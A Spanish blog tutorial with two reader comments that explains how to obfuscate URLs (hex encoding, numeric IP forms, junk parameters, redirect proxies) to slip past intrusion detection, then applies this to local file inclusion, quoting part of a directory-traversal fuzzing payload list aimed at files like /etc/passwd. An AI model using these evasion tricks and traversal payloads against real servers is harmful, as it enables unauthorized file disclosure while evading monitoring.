En un artículo anterior, hablábamos sobre LFI (local file include) y cómo llevar a cabo un ataque de este tipo para tener acceso a archivos del sistema. En este artículo, vamos a dar un paso más y vamos a explicar cómo codificar nuestras URL de forma que un IDS mal configurado no sea capaz de detectar el ataque.
2. OFUSCACIÓN DE UNA URL.
Dejando a un lado exploits, que pueden ser usados también con estos fines, la ofuscación de una url consiste básicamente en "traducir" partes de la misma a hexadecimal y en añadir basura, como puedan ser parámetros que no existen. Pero mejor que soltar aquí la chapa del siglo, veamos un ejemplo, intentemos ofuscarhttp://www.milw0rm.com/.
Primero, observemos que podemos añadir tantos parámetros como nos de la gana, por ejemplo: http://www.milw0rm.com/index.php?hola=1&adios=2. Esto siempre viene bien.
Aparte, podemos acceder a la URL por su dirección IP:http://76.74.9.18/index.php?hola=1&adios=2
Y todo lo anterior puede ser codificado en hexadecimal, por ejemplo si substituyo index.php por su traducción hexadecimal nos queda lo siguiente: http://76.74.9.18/%69%6e%64%65%78%2e%70%68%70?hola=1&adios=2
Para saber cómo substituir los valores, basta echarle un ojo a esta tabla que, entre otras muchas tablas de conversión ascii/hex, nos dice qué valor hexadecimal tiene cada símbolo. También disponemos de traductores hex/ascii automáticos, como por ejemplo éste. No tendremos que trabajar demasiado.
Y también podemos usar algún servicio como anonymto para hacer algo más complicado leer la url: http://anonym.to/?http://76.74.9.18/%69%6e%64%65%78%2e%70%68%70?hola=1&adios=2
No conformes con esto, también podemos usar la notación hexadecimal 0xnn para escribir nuestra url, e incluso podemos poner delante una buena ristra de ceros, por ejemplo: http://anonym.to/?http://0x000000000000004C.74.9.18/%69%6e%64%65%78%2e%70%68%70?hola=1&adios=2
Del mismo modo que hemos usado anonym.to, podemos usar cualquier otro proxy que queramos, incluso uno creado por nosotros mismos con un nombre "inocente".
Y podemos seguir así hasta aburrirnos ...
3. UNA APLICACIÓN: LOCAL FILE INJECTION FUZZING.
Ahora que tenemos una idea de cómo se hace la ofuscación de una url, podemos usar este conocimiento para intentar Local File Injection (LFI). Si recordáis, en este artículo hablábamos de cómo aprovecharnos de una mala configuración del servidor para traernos archivos que no deberíamos poder leer, como /etc/passwd. También decíamos que uno tiene que "subir directorios", intentando acceder a/../etc/passwd, /../../etc/passwd, ...
Podemos ir un pasito más lejos ofuscando la url, con lo que podríamos saltarnos algún firewall de aplicación mal configurado, o que haga mal la canonización de la URL. Esto es lo que se llama FUZZING. En este link, podemos encontrar numerosos ejemplos URLs a las que podemos intentar acceder. De ellas, muchas han sido obtenidas ofuscando la url, aunque también las hay basadas en el exploit de WEBDAV.
# Directory Traversal Fuzzing Code
# Luca "ikki" Carettoni - v0.2
#
# 879 attack vectors, 8 levels of recursion (Unix-like, Windows)
#
# Usage: replace {FILE} with the absolute URI of a local resource, then use
# your favourite web application fuzzer (e.g. wfuzz)
../{FILE}
../../{FILE}
../../../{FILE}
../../../../{FILE}
../../../../../{FILE}
../../../../../../{FILE}
../../../../../../../{FILE}
../../../../../../../../{FILE}
..%2f{FILE}
..%2f..%2f{FILE}
..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
%2e%2e/{FILE}
%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/{FILE}
4. RESÚMEN.
En este artículo, hemos explicado algo básico pero que a su vez es imprescindible conocer: como ofuscar URLs. Sin pretender ser exhaustivo, hemos visto lo realmente fácil que resulta hacer totalmente ininteligible una URL y cómo esto podría aplicarse para ataques LFI.
Normalmente, los ataques por fuerza bruta sobre páginas web son infructuosos. Necesitan mucho tiempo y son muy ruidosos, pero siempre viene bien entender cómo funcionan antes de ponerse a utilizar herramientas que lo hacen automáticamente, como puedan ser wikto o wfuzzer, de las que hablaremos en el futuro.
Finalmente, es interesante notar que los spammers usan, a veces, estrategias similares para ofuscar las URL y hacer caer a la gente en sus mail-trampa.
Saludos
Dr.White
Fuente: Hacking-Avanzado
Saludos
ResponderEliminarMuy bueno esta este blog le recomendare a todos mis companeros sobre este blog sigue asi Dr.white !
Me despido
ATT:
NitroKill
bueno el blog y gracias por el linkeado
ResponderEliminarJbyte